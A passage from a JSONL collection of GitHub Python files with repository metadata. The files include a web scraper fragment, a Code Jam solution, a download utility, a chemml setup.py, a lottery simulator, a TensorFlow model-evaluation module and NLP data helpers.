', '', content)\r\n content = re.sub(r'', '', content)\r\n return title, content\r\n\r\n\r\nif __name__ == '__main__':\r\n # 定义种子URL的基础\r\n start_url = 'https://so.gushiwen.org/authors/authorvsw_85097dd0c645A'\r\n # 开始爬\r\n crawl(start_url)","repo_name":"cleanworld123/Python3_Spider_Practice","sub_path":"Python3_Spider_Junior/CH07/CH07/1.3.3-2.py","file_name":"1.3.3-2.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13064399994","text":"from functools import lru_cache\nfrom utilities import process_input\nfrom utilities import small_input_validation\nfrom icecream import ic\n\n\ndef reminder(m, n): return m % n\n\n\n@lru_cache(maxsize=2*20)\ndef frac(n):\n if n == 1: return 1\n else:\n return n * frac(n-1)\n\n\ndef _a_N_frac(a, n, p):\n if n == 1: return a % p\n elif n % 2 == 0:\n return (_a_N_frac(a, n//2, p)**2) % p\n else:\n return (a * _a_N_frac(a, n-1, p)) % p\n\n\ndef large_a_n_frac(a, n, p):\n if a % p == 0: return 0\n\n res = 1\n\n for i in range(1, n+1):\n if i == 1: res = a % p\n else:\n res = pow(res, i, p)\n\n return res\n\n\ndef a_N_frac(a, n, p):\n return large_a_n_frac(a, n, p)\n\n\nassert reminder(10, 1) == 0\nassert reminder(10, 2) == 0\nassert reminder(10, 5) == 0\nassert reminder(10, 3) == 1\nassert frac(3) == 6\nassert frac(2) == 2\n\nassert a_N_frac(2, 1, 2) == 0\nassert a_N_frac(3, 3, 2) == 1\n\nif __name__ == '__main__':\n # file_n = 'data/A-small-practice.in'\n file_n = 'data/A-large-practice.in'\n # result = 'small_output.txt'\n process_input(main_f=large_a_n_frac, input_file=file_n)\n # small_input_validation(a_N_frac, input_file=file_n, result_file=result)\n\n","repo_name":"fortyMiles/CodeJam","sub_path":"round_G/round_C_p_a.py","file_name":"round_C_p_a.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14673552523","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 7 21:23:06 2023\n\n@author: dalib\n\"\"\"\nimport os\nimport requests\nfrom tqdm import tqdm\n\n#Forms complete file URLs from rootURL and filenames\ndef formFileURLs(rootURL, files):\n '''Function form file URLs'''\n fileURLs = []\n for i in tqdm(range(0, len(files)), desc = \"Forming URLs\"):\n fileURLs.append(rootURL + files[i])\n return fileURLs\n\n#Downloads files from fileURLs list and stores in correspodning file named in fileNames list\ndef downloadFiles(fileURLs, fileNames):\n '''Function downloading and storing files'''\n #both list have to have same size to properly store data\n if(len(fileNames) != len(fileURLs) or fileURLs == []):\n return False\n #Download and store the data\n for i in tqdm(range(0, len(fileURLs)), desc = \"Downloading and storig data\"):\n response = requests.get(fileURLs[i], timeout=15)#We wait for max 5s for the responseunites\n filename = fileNames[i]\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n with open(filename, \"wb\") as file:\n file.write(response.content)\n return True\n","repo_name":"RegularEverydayAverageGuy/WeatherStation","sub_path":"WeatherStation/App/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7971966377","text":"# Standard lib imports\n# None\n\n# Third party imports\n# None\n\n# Project level imports\n# None\n\n\nclass ECSMinionException(Exception):\n \"\"\"\n This is a custom ECSMinionException Exception class to better handle\n errors that ECSMinionException can return in HTML format rather than JSON\n \"\"\"\n\n def __init__(self, message=None, http_status_code=None, ecs_message=None):\n \"\"\"\n This is a custom ECSMinion Exception class to handle\n\n :param message: A custom\n :param http_status_code:\n :param ecs_message:\n :return:\n \"\"\"\n if message is None:\n self.message = 'The ECSMinionException endpoint has thrown ' \\\n 'an error, check the http_status_code and ' \\\n 'ecs_message attributes of this exception for ' \\\n 'more details.'\n else:\n self.message = message\n\n self.http_status_code = http_status_code\n self.ecs_message = ecs_message\n\n super(ECSMinionException, self).__init__(\n message, http_status_code, ecs_message)\n","repo_name":"chadlung/ecsminion","sub_path":"ecsminion/util/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8385911646","text":"#!/usr/bin/env python3\n\nimport sys\nfrom ctypes import CDLL, POINTER, \\\n Structure, \\\n c_int, c_void_p, \\\n addressof, pointer\n\n\nDLL = \"/home/sergey/Git/iCubeNS1130CU/c_type_p/dll.so\"\n\n\nclass Effect(Structure):\n _fields_ = [(\"ptr\", c_void_p)]\n\n\ndef hex64_str(item):\n return \"0x{:016X}\".format(item)\n\n\ndef print_addr(ctypes_inst, inst_name, heading=\"\"):\n print(\"{:s}{:s} addr: {:s} (type: {:})\".format(heading, \"{:s}\".format(inst_name) if inst_name else \"\", hex64_str(addressof(ctypes_inst)), type(ctypes_inst)))\n\n\ndef main():\n dll_dll = CDLL(DLL)\n test_func = dll_dll._Z4testP6Effecti\n test_func.argtypes = [POINTER(Effect), c_int]\n\n effect = Effect()\n print_addr(effect, \"effect\")\n test_func(pointer(effect), 1)\n\n print_addr(effect, \"effect\", \"\\nSecond time...\\n \")\n print(\"Python addrs (irrelevant): effect: {:s}, effect.ptr: {:s}\".format(hex64_str(id(effect)), hex64_str(id(effect.ptr))))\n\n\nif __name__ == \"__main__\":\n print(\"Python {:s} on {:s}\\n\".format(sys.version, sys.platform))\n main()\n","repo_name":"Driver2007/iCubeNS1130CU","sub_path":"c_type_p/py.py","file_name":"py.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36769465470","text":"import setuptools\r\nfrom os import path\r\nimport chemml\r\n\r\nhere = path.abspath(path.dirname(__file__))\r\n\r\n# Get the long description from the README file\r\nwith open(path.join(here, 'README.md')) as f:\r\n long_description = f.read()\r\n\r\nif __name__ == \"__main__\":\r\n setuptools.setup(\r\n name='chemml',\r\n version=chemml.__version__,\r\n author='Mojtaba Haghighatlari, Johannes Hachmann',\r\n author_email='mojtabah@buffalo.edu, hachmann@buffalo.edu',\r\n # url='https://github.com/hachmannlab/chemml',\r\n project_urls={\r\n 'Source': 'https://github.com/hachmannlab/chemml',\r\n 'url': 'https://hachmannlab.github.io/chemml/'\r\n },\r\n description=\r\n 'A Machine Learning and Informatics Program Suite for the Chemical and Materials Sciences',\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n keywords=[\r\n 'Machine Learning', 'Data Mining', 'Quantum Chemistry',\r\n 'Materials Science', 'Drug Discovery'\r\n ],\r\n license='BSD-3C',\r\n packages=setuptools.find_packages(),\r\n include_package_data=True,\r\n\r\n install_requires=[\r\n 'future', 'six',\r\n 'numpy', 'pandas', 'scipy',\r\n 'tensorflow',\r\n 'h5py',\r\n 'scikit-learn',\r\n 'matplotlib>=1.5.1',\r\n 'lxml', 'wget',\r\n 'seaborn',\r\n 'openpyxl', 'ipywidgets'\r\n ],\r\n extras_require={\r\n 'docs': [\r\n 'sphinx',\r\n 'sphinxcontrib-napoleon',\r\n 'sphinx_rtd_theme',\r\n 'numpydoc',\r\n 'nbsphinx'\r\n ],\r\n 'tests': [\r\n 'pytest',\r\n 'pytest-cov',\r\n 'pytest-pep8',\r\n 'tox'\r\n ],\r\n },\r\n tests_require=[\r\n 'pytest',\r\n 'pytest-cov',\r\n 'pytest-pep8',\r\n 'tox',\r\n ],\r\n classifiers=[\r\n 'Development Status :: 4 - Beta',\r\n 'Natural Language :: English',\r\n 'Intended Audience :: Science/Research',\r\n 'Programming Language :: Python :: 3',\r\n ],\r\n zip_safe=False,\r\n )\r\n","repo_name":"hachmannlab/chemml","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"3"} +{"seq_id":"43724880023","text":"#!/usr/bin/env/python3\n\nimport random\n\ndef lotto():\n numbers = set()\n while 6 > len(numbers):\n numbers.add(random.randint(1, 49))\n return numbers\n\ndef checkNumbers(lottoNumbers, winningNumbers):\n matches = 0\n for number in winningNumbers:\n for guess in lottoNumbers:\n if guess == number:\n matches += 1\n if 0 == matches or 1 == matches:\n return \"0\"\n elif 2 == matches:\n return \"Free Play\"\n elif 3 == matches:\n return \"10\"\n elif 4 == matches:\n return \"90.50\"\n elif 5 == matches:\n return \"5000\"\n elif 6 == matches:\n return \"13000000\"\n\ndef whatAreTheOdds(tickets, winningNumbers):\n winnings = -2 * tickets\n while 0 < tickets:\n lottoNumbers = lotto()\n prize = checkNumbers(winningNumbers, lottoNumbers)\n if \"Free Play\" == prize:\n tickets += 1\n else:\n winnings += float(prize)\n tickets -= 1\n return winnings\ndef main():\n winningNumbers = {9, 20, 27, 35, 37, 43}\n while True:\n try:\n tickets = int(input(\"It costs $2 to play. How many times would you like to play? (-1 to exit) \"))\n if -1 == tickets:\n break\n elif tickets > 0:\n winnings = whatAreTheOdds(tickets, winningNumbers)\n print(f\"{tickets} plays leaves you with ${winnings}.\")\n else:\n raise ValueError\n except ValueError:\n print(\"Invalid input. Enter a positive integer.\")\n print()\n print(\"Bye!\")\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Chrisharnett/Spring-Repo","sub_path":"Assignment 4/lotteryModified.py","file_name":"lotteryModified.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28079544123","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 30 17:43:38 2017\n\n@author: nick\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\nimport os\nfrom sys import path\npath.insert(0,os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))),\n 'HelperClasses'))\nfrom DRAD_params import DRAD_Params\npath.insert(0,os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))),\n 'Networks','SelfTransfer'))\nfrom backtrack_location import backtrack_locations\n\nclass Evaluation:\n \n def __init__(self, data, model_path, summary_folder, model_name, log_folder,\n batch_size, datasets, loss, accuracy, localization, save_imgs, num_imgs):\n \"\"\"\n Class for handling the evaluation part. Re-evaluates loss, accuracy\n and if applicable the intersection over union error.\n \n Args:\n data: instance of data for input, label, and segmentation Mask retrieval\n model_path: path to folder where the saved graph lies\n summary_folder: path to folder where summaries lie\n model_name: name of the model being evaluated (e.g. 'drad')\n log_folder: folder path where results are written to \n batch_size: batch size during training (useful to compute accuracy and loss without OOM error)\n datasets: datasets to be evaluated (train,val,test)\n loss: flag indicating if loss shall be evaluated\n accuracy: flag indicating if accuracy shall be evaluated \n bb_boxes: flag indicating if iou shall be evaluated and bounding boxes be drawn in\n (iou computation only possible in the case of segmentation masks being present)\n save_imgs: flag determining if images showing bounding box shall be\n created and saved\n num_imgs: The amount of images that shall be saved\n \"\"\"\n self.data = data\n self.model_path = model_path\n self.summary_folder = summary_folder\n self.model_name = model_name\n self.log_folder = log_folder\n self.batch_size = batch_size\n self.datasets= datasets\n self.loss = loss\n self.accuracy = accuracy\n self.localization = localization\n self.save_imgs = save_imgs\n self.num_imgs = num_imgs\n \n ########################################################################### \n def evaluate(self):\n \"\"\"\n Main evaluation method, where it is possible to evaluate accuracy, loss\n and intersection over union\n \"\"\"\n \n if self.loss:\n self.computeLoss(self.datasets)\n \n if self.accuracy:\n self.computeAccuracy(self.datasets)\n \n if self.localization:\n self.localization_quality(self.datasets,self.num_imgs, self.save_imgs)\n \n ###########################################################################\n \n def localization_quality(self, datasets, num_saveImgs,saveImgs):\n \"\"\"\n Method that evaluates complete test set on intersection over union error if segmentation \n masks are available. Additionally, the accuracy is computed.\n The result is written out to Summaries folder.\n \n Args:\n datasets: the dataset to do evaluation on (per default that is the test set)\n num_saveImgs: optional parameter to request that only num_saveImgs\n images shall be saved\n saveImgs: insert bounding boxes into image and save it\n \"\"\"\n from reconstructBoundingBox import computeBBfromSM, computeBBfromParamsDRAD,\\\n computeBBfromBB\n \n print('Computing Bounding Boxes...')\n \n def point_in_bounding_box(bb_true, location):\n \"\"\"\n Check if computed index (y,x) is in true bounding box.\n \n Args:\n bb_true: ground truth bounding box of object in image\n location: tuple of coordinates\n \"\"\"\n return int(bb_true.contains_point(*location))\n \n \n def intersectionOverUnion(bb_det, bb_true):\n \"\"\"\n Compute intersection over Union area given two bounding boxes\n \n Parameters:\n bb_det: detected bounding box of object\n bb_true: ground truth bounding box\n \"\"\"\n tmp_x = min(bb_det.x_max,bb_true.x_max)-max(bb_det.x_min, bb_true.x_min)\n tmp_y = min(bb_det.y_max,bb_true.y_max)-max(bb_det.y_min, bb_true.y_min)\n \n if tmp_x < 0 or tmp_y < 0:\n return 0\n else:\n intersection = tmp_x*tmp_y\n \n union = bb_det.area()+bb_true.area()-intersection \n \n return intersection/union\n \n def insert_blob(img, obj_loc, save_path, bb_true = None):\n \"\"\"\n Draw computed location in image as well as true bounding box\n if that information is available and save image\n \n Args:\n img: image\n obj_loc: (y,x) coordinates of object location\n save_path: where to save image to \n bb_true: true bounding box if available\n \"\"\"\n from matplotlib import pyplot as plt\n import matplotlib.patches as patches\n fig,ax = plt.subplots(1)\n # normalize image to [0,1] as float32 img -> otherwise strange display\n if np.max(img) > 1:\n img = img.astype(np.float32)\n img -= np.min(img)\n img /= np.max(img)\n ax.imshow(img)\n \n if np.any(bb_true):\n rect_true = patches.Rectangle((bb_true.x_min,bb_true.y_min),bb_true.x_max - bb_true.x_min,\n bb_true.y_max - bb_true.y_min, linewidth=1,edgecolor='r',facecolor='none')\n ax.add_patch(rect_true)\n \n blob = patches.Circle((obj_loc[1],obj_loc[0]), radius = 10, linewidth = 3, edgecolor = 'b', facecolor = 'none')\n ax.add_patch(blob)\n \n plt.savefig(save_path)\n plt.close()\n \n \n def insertBoundingBox(img,bb_det, thick,save_path, bb_true = None):\n \"\"\"\n Draw bounding box into image and save result\n \n Args:\n img: the image\n bb_true: the ground truth bounding box \n bb_det: the detected bounding box\n thick: flag indicating that bounding box should be made thick\n as this is the bounding box of interest\n save_path: path where result shall be saved\n \"\"\"\n from matplotlib import pyplot as plt\n import matplotlib.patches as patches\n fig,ax = plt.subplots(1)\n # normalize image to [0,1] as float32 img -> otherwise strange display\n if np.max(img) > 1:\n img = img.astype(np.float32)\n img -= np.min(img)\n img /= np.max(img)\n # need to reshape gray scale images to avoid type error\n if img.shape[-1] == 1:\n img = np.reshape(img,img.shape[:-1])\n ax.imshow(img)\n \n if np.any(bb_true):\n rect_true = patches.Rectangle((bb_true.x_min,bb_true.y_min),bb_true.x_max - bb_true.x_min,\n bb_true.y_max - bb_true.y_min, linewidth=1,edgecolor='r',facecolor='none')\n ax.add_patch(rect_true)\n \n if thick:\n rect_det = patches.Rectangle((bb_det.x_min,bb_det.y_min),bb_det.x_max - bb_det.x_min,\n bb_det.y_max - bb_det.y_min, linewidth=5,edgecolor='y',facecolor='none')\n else:\n rect_det = patches.Rectangle((bb_det.x_min,bb_det.y_min),bb_det.x_max - bb_det.x_min,\n bb_det.y_max - bb_det.y_min, linewidth=1,edgecolor='b',facecolor='none')\n ax.add_patch(rect_det)\n plt.savefig(save_path)\n plt.close()\n \n \n with tf.Graph().as_default():\n with tf.Session() as sess:\n ###\n # load trained graph\n ###\n loader = tf.train.import_meta_graph(os.path.join(self.model_path,\"model.meta\"))\n loader.restore(sess, os.path.join(self.model_path,'model'))\n saver = tf.train.Saver()\n saver.restore(sess, os.path.join(self.model_path,\"model.ckpt\"))\n \n ##\n # get placeholders and tensor nodes to be evaluated\n # get test data to do evluation on\n # do evaluation\n ##\n \n x = tf.get_collection(\"x\")[0]\n y_ = tf.get_collection(\"y_\")[0]\n keep_prob = tf.get_collection('keep_prob')[0]\n batch_norm_training = tf.get_collection('batch_norm_training')[0]\n \n for dataset in datasets:\n \n if self.data.hasData(dataset,segMap = True):\n X, y, y_segMap = self.data.getData(dataset, segMap =True)\n elif self.data.hasData(dataset,segMap=False,bb=True):\n X, y, y_bb = self.data.getData(dataset, segMap = False, bb=True)\n else:\n X, y = self.data.getData(dataset)\n \n \n ############################################################\n # DRAD #\n ########\n if self.model_name.lower() =='drad':\n gx = []\n gy = []\n sigma2 = []\n delta = []\n \n # get attention and sequence length parameter\n with open(os.path.join(self.model_path, 'info.txt'), 'r') as f:\n info = f.read()\n attention_N = np.int32(info.split('attention_N: ')[1].split('\\n')[0])\n seq_length = np.int32(info.split('seq_length: ')[1].split('\\n')[0])\n \n # obtain the attention patch parameters from all time points\n for i in range(seq_length):\n gx.append(tf.get_collection('gx_'+str(i))[0])\n gy.append(tf.get_collection('gy_'+str(i))[0])\n sigma2.append(tf.get_collection('sigma2_'+str(i))[0])\n delta.append(tf.get_collection('delta_'+str(i))[0])\n \n best_time_step = tf.get_collection('best_time_step')\n \n gx_, gy_, sigma2_, delta_, time_step = sess.run([gx,gy,sigma2,delta, best_time_step],\n feed_dict = {x: X, y_: y,\n keep_prob:1, batch_norm_training:False})\n \n \n ##\n # compute IoUs for data if segmentation Masks present\n ##\n ious = np.zeros(y.shape[0])\n ious.fill(np.nan)\n # create folder if evaluated images shall be saved\n if saveImgs:\n if not os.path.exists(os.path.join(self.summary_folder,'EvaluatedImages')):\n os.makedirs(os.path.join(self.summary_folder,'EvaluatedImages')) \n \n IMG_COUNTER = 0\n # compute the bounding boxes for each timestep for each sample\n for t in range(len(gx_)):\n # in outer loop, iterate over time\n for s in range(gx_[t].shape[0]):\n # in inner loop. iterate over samples\n bb_det = computeBBfromParamsDRAD(DRAD_Params(gx_[t][s][0],\n gy_[t][s][0],\n delta_[t][s][0],\n sigma2_[t][s][0],\n attention_N))\n \n if self.data.hasData(dataset, segMap = True):\n bb_true = computeBBfromSM(y_segMap[s])\n # only compute IoU for most confident timestep\n if (time_step[0][s]==t):\n ious[s] = intersectionOverUnion(bb_det,bb_true)\n \n # if desired, insert bounding boxes into image and save it\n if saveImgs and IMG_COUNTER < num_saveImgs:\n folder = os.path.join(self.summary_folder,'EvaluatedImages',dataset,'Sample_'+str(s))\n if not os.path.exists(folder):\n os.makedirs(folder)\n insertBoundingBox(X[s], bb_det, time_step[0][s]==t,\n os.path.join(folder,\n 'time_'+str(t)+'.png'), bb_true=bb_true)\n IMG_COUNTER +=1\n \n elif self.data.hasData(dataset,segMap=False,bb=True):\n bb_true = computeBBfromBB(y_bb[s])\n # only compute IoU for most confident timestep\n if (time_step[0][s]==t):\n ious[s] = intersectionOverUnion(bb_det,bb_true)\n \n # if desired, insert bounding boxes into image and save it\n if saveImgs and IMG_COUNTER < num_saveImgs:\n folder = os.path.join(self.summary_folder,'EvaluatedImages',dataset,'Sample_'+str(s))\n if not os.path.exists(folder):\n os.makedirs(folder)\n insertBoundingBox(X[s], bb_det, time_step[0][s]==t,\n os.path.join(folder,\n 'time_'+str(t)+'.png'), bb_true=bb_true)\n IMG_COUNTER +=1\n \n # save evaluated images with integrated bounding box without ground truth\n elif saveImgs and IMG_COUNTER< num_saveImgs:\n folder = os.path.join(self.summary_folder,'EvaluatedImages',dataset,'Sample_'+str(s))\n if not os.path.exists(folder):\n os.makedirs(folder)\n insertBoundingBox(X[s], bb_det, time_step[0][s]==t,\n os.path.join(folder,\n 'time_'+str(t)+'.png'))\n IMG_COUNTER +=1\n \n iou = np.mean(ious)\n with open(os.path.join(self.log_folder,'eval_iou.txt'), 'a') as log:\n log.write('Average IOU (%s): %0.2f \\n' %(dataset,iou))\n #####################################################################################################\n # SELF TRANSFER #\n #################\n elif self.model_name.lower()=='self_transfer':\n # get indices of highest activations\n num_argmax_pools = tf.get_collection('num_argmax_pools')[0]\n argmax_pooling = []\n for i in range(num_argmax_pools):\n argmax_pooling.append(tf.get_collection('argmax_pooling_'+str(i))[0])\n # get weight and bias tensors, as well as conv tensors\n num_weights = tf.get_collection('num_weights')[0]\n weight_tensors = []\n bias_tensors = []\n conv_tensors = []\n for i in range(num_weights):\n weight_tensors.append(tf.get_collection('weights_'+str(i))[0])\n bias_tensors.append(tf.get_collection('bias_'+str(i))[0])\n conv_tensors.append(tf.get_collection('conv_tensor_'+str(i))[0])\n location_out = tf.get_collection('location_out')[0]\n #guessed_class = tf.get_collection('guessed_class')[0]\n argmax_indices, loc_out, weight_tensors_, bias_tensors_, conv_tensors_ = \\\n sess.run([argmax_pooling, location_out, weight_tensors,\n bias_tensors, conv_tensors],\n feed_dict = {x: X, y_: y,\n keep_prob:1, batch_norm_training:False})\n class_indices = np.argmax(loc_out,axis=1)\n # read in network information necessary to recover the location\n params_dic = {}\n model_params = ['kernel_sizes','pooling','padding_type',\n 'kernel_size_loc','feature_maps','img_size',\n 'label_size']\n with open(os.path.join(self.model_path,'info.txt'),'r') as f:\n for line in f:\n k = line.lstrip('\\t').split(':')[0]\n if k in model_params:\n val = line.split(': ')[1]\n # convert lists \n if '[' in val:\n val = list(map(int,val.replace('[','').replace(']','').split(', ')))\n # convert tuples\n elif '(' in val:\n val = tuple(map(int,val.replace('(','').replace(')','').split(', ')))\n # convert ints\n else:\n try:\n val = int(val)\n #just keep as string\n except:\n val = val.rstrip('\\n')\n params_dic[k] = val\n \n # get object location for each image in batch\n object_locations = [backtrack_locations([argmax_indices[j][i] for j in range(num_argmax_pools)],\n [conv_tensors_[j][i] for j in range(num_weights)],\n weight_tensors_, bias_tensors_, class_indices[i],params_dic)\n for i in range(X.shape[0])]\n \n in_bb = np.zeros(y.shape[0])\n in_bb.fill(np.nan)\n # create folder if evaluated images shall be saved\n if saveImgs:\n if not os.path.exists(os.path.join(self.summary_folder,'EvaluatedImages')):\n os.makedirs(os.path.join(self.summary_folder,'EvaluatedImages')) \n \n IMG_COUNTER = 0\n # iterate over samples\n for s in range(X.shape[0]):\n if self.data.hasData(dataset, segMap = True):\n bb_true = computeBBfromSM(y_segMap[s])\n obj_loc = object_locations[s]\n in_bb[s] = point_in_bounding_box(bb_true,obj_loc)\n elif self.data.hasData(dataset, segMap = False, bb = True):\n bb_true = computeBBfromBB(y_bb[s])\n obj_loc = object_locations[s]\n in_bb[s] = point_in_bounding_box(bb_true,obj_loc)\n else:\n bb_true = None\n obj_loc = object_locations[s]\n \n # if desired, insert bounding boxes into image and save it\n if saveImgs and IMG_COUNTER < num_saveImgs:\n folder = os.path.join(self.summary_folder,'EvaluatedImages',dataset)\n if not os.path.exists(folder):\n os.makedirs(folder)\n insert_blob(X[s], obj_loc,\n os.path.join(folder,\n 'img_'+str(s)+'.png'), bb_true=bb_true)\n IMG_COUNTER +=1\n \n loc_accuracy = np.mean(in_bb)\n with open(os.path.join(self.log_folder,'eval_loc.txt'), 'a') as log:\n log.write('Average in BB (%s): %0.2f \\n' %(dataset,loc_accuracy))\n \n ##################################################################################################### \n \n else:\n raise RuntimeError('Evaluation of localization not available for %s'%(self.model_name))\n \n \n \n \n ########################################################################### \n \n def computeAccuracy(self, datasets):\n \"\"\"\n Method loads model to compute accuracy.\n \n Args:\n datasets: the datasets to evaluate accuracy on ({train,val,test})\n \"\"\"\n print('Computing Accuracy')\n with tf.Graph().as_default():\n with tf.Session() as sess:\n ###\n # load trained graph\n ###\n loader = tf.train.import_meta_graph(os.path.join(self.model_path,\"model.meta\"))\n loader.restore(sess, os.path.join(self.model_path,'model'))\n saver = tf.train.Saver()\n saver.restore(sess, os.path.join(self.model_path,\"model.ckpt\"))\n \n ##\n # get placeholders and tensor nodes to be evaluated\n # get test data to do evluation on\n # do evaluation\n ##\n \n x = tf.get_collection(\"x\")[0]\n y_ = tf.get_collection(\"y_\")[0]\n keep_prob = tf.get_collection('keep_prob')[0]\n batch_norm_training = tf.get_collection('batch_norm_training')[0]\n accuracy = tf.get_collection('accuracy')[0]\n \n accuracies = np.zeros(len(datasets))\n \n if self.model_name=='self_transfer':\n alpha = tf.get_collection('alpha')[0]\n additional_feeds = {alpha:np.float32(0.5)}\n else:\n additional_feeds = {}\n \n for i,d in enumerate(datasets):\n num_samples = self.data.getSize(d)\n acc_batch=[]\n b = 0\n # evaluate accuracy batch by batch (avoids OOM)\n while (b+1)*self.batch_size <= num_samples:\n X,y = self.data.getData(d, indices = np.arange(b*self.batch_size,(b+1)*self.batch_size))\n feed_dict = {x: X, y_: y, keep_prob:1, batch_norm_training:False}\n for k in additional_feeds:\n feed_dict[k] = additional_feeds[k]\n acc = sess.run(accuracy, feed_dict=feed_dict)\n acc_batch.append(acc)\n b +=1\n # process rest batch\n \"\"\"\n X,y = self.data.getData(d, indices = np.arange(int(self.data.getSize(d)/self.batch_size)*self.batch_size, self.data.getSize(d)))\n feed_dict = {x: X, y_: y, keep_prob:1, batch_norm_training:False}\n for k in additional_feeds:\n feed_dict[k] = additional_feeds[k]\n acc = sess.run(accuracy, feed_dict=feed_dict)\n acc_batch.append(acc)\n \"\"\"\n # take average\n accuracies[i] = np.mean(acc_batch)\n \n \n with open(os.path.join(self.log_folder,'accuracy.txt'), 'w') as log:\n for t in zip(datasets,accuracies):\n log.write('%s Accuracy : %0.2f\\n' %(t[0].title(), t[1]))\n \n ########################################################################### \n \n def computeLoss(self, datasets=['test']):\n \"\"\"\n Method loads model to compute loss.\n \n Args:\n datasets: the datasets to evaluate accuracy on ({train,val,test})\n \"\"\"\n print('Computing loss')\n with tf.Graph().as_default():\n with tf.Session() as sess:\n ###\n # load trained graph\n ###\n loader = tf.train.import_meta_graph(os.path.join(self.model_path,\"model.meta\"))\n loader.restore(sess, os.path.join(self.model_path,'model'))\n saver = tf.train.Saver()\n saver.restore(sess, os.path.join(self.model_path,\"model.ckpt\"))\n \n ##\n # get placeholders and tensor nodes to be evaluated\n # get test data to do evluation on\n # do evaluation\n ##\n \n x = tf.get_collection(\"x\")[0]\n y_ = tf.get_collection(\"y_\")[0]\n keep_prob = tf.get_collection('keep_prob')[0]\n batch_norm_training = tf.get_collection('batch_norm_training')[0]\n loss = tf.get_collection('loss')[0]\n \n losses = np.zeros(len(datasets))\n \n if self.model_name=='self_transfer':\n alpha = tf.get_collection('alpha')[0]\n additional_feeds = {alpha:np.float32(0.5)}\n else:\n additional_feeds = {}\n \n \n for i,d in enumerate(datasets):\n num_samples = self.data.getSize(d)\n loss_batch=[]\n b = 0\n # evaluate accuracy batch by batch (avoids OOM)\n while (b+1)*self.batch_size < num_samples:\n X,y = self.data.getData(d, indices = np.arange(b*self.batch_size,(b+1)*self.batch_size))\n feed_dict = {x: X, y_: y, keep_prob:1, batch_norm_training:False}\n for k in additional_feeds:\n feed_dict[k] = additional_feeds[k]\n l = sess.run(loss, feed_dict=feed_dict)\n loss_batch.append(l)\n b +=1\n losses[i] = np.mean(loss_batch)\n \n \n with open(os.path.join(self.log_folder,'loss.txt'), 'w') as log:\n for t in zip(datasets,losses):\n log.write('%s Loss : %0.2f\\n' %(t[0].title(), t[1]))\n \n \n \n \n \n \n \n \n \nif __name__ == '__main__':\n pass\n ","repo_name":"csnick93/WeaklySupervisedLearning","sub_path":"Code/Evaluation/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":29212,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"16026977609","text":"import os, sys, time\nfrom collections import namedtuple\n\nimport mxnet.ndarray as nd\n\nfrom dictionary import Dictionary\n\nDataBatch = namedtuple('data_batch', ['data', 'label'])\nCORPUS_PATH = './data/train.zh'\n\n\nclass CorpusDataSet():\n def __init__(self, path, step=3):\n assert os.path.exists(path), 'corpus is not exist!!'\n self.path = path\n self.step = step\n try:\n self.file = open(self.path, 'r')\n except FileNotFoundError as err:\n sys.stderr.write(err.args[1])\n sys.exit(-1)\n\n self.word_dict = Dictionary(path)\n self.line = ''\n\n def hasNext(self):\n self.line = str.strip(self.file.readline())\n return self.line != ''\n\n def next(self):\n return self.line\n\n def reset(self):\n self.file.close()\n self.file = open(self.path, 'r')\n\n\nif __name__ == '__main__':\n corpus = CorpusDataSet(CORPUS_PATH)\n print(corpus.word_dict.vocab_size)\n start = time.time()\n with open(CORPUS_PATH) as f:\n for chunk in iter(lambda: f.readline().strip(), \"\"):\n idxes = corpus.word_dict.word_2_idx(chunk)\n print(idxes)\n\n\n print('total time %d' % (time.time() - start))","repo_name":"zhp510730568/mx_models","sub_path":"rnn/corpus_dataset.py","file_name":"corpus_dataset.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20792597666","text":"import pandas as pd\n\nfrom utils import load_whole_childes_data, age_bin, PATH_NEW_ENGLAND_UTTERANCES_ANNOTATED, \\\n SPEECH_ACT\nfrom exp_adjacency_pairs import get_adj_pairs_frac_data\nfrom utils import AGES, ADULT, CHILD\n\n\ndef get_contingency_data(data, age, column_name_speech_act):\n contingency_data = pd.read_csv(\n \"adjacency_pairs/adjacency_pairs_contingency.csv\", keep_default_na=False\n )\n\n adj_data, _ = get_adj_pairs_frac_data(\n data,\n age,\n source=ADULT,\n target=CHILD,\n min_percent=0.0,\n min_percent_recipient=0.0,\n column_name_speech_act=column_name_speech_act,\n )\n\n contingencies = []\n for i, row in adj_data.iterrows():\n source, target = row[\"source\"], row[\"target\"]\n if (\n len(\n contingency_data[\n (contingency_data.source == source)\n & (contingency_data.target == target)\n ]\n )\n > 0\n ):\n cont = contingency_data[\n (contingency_data.source == source)\n & (contingency_data.target == target)\n ].contingency.values[0]\n else:\n print(f\"Warning: Unknown speech act combination: {source}-{target}\")\n cont = \"TODO\"\n contingencies.append(cont)\n\n adj_data[\"contingency\"] = 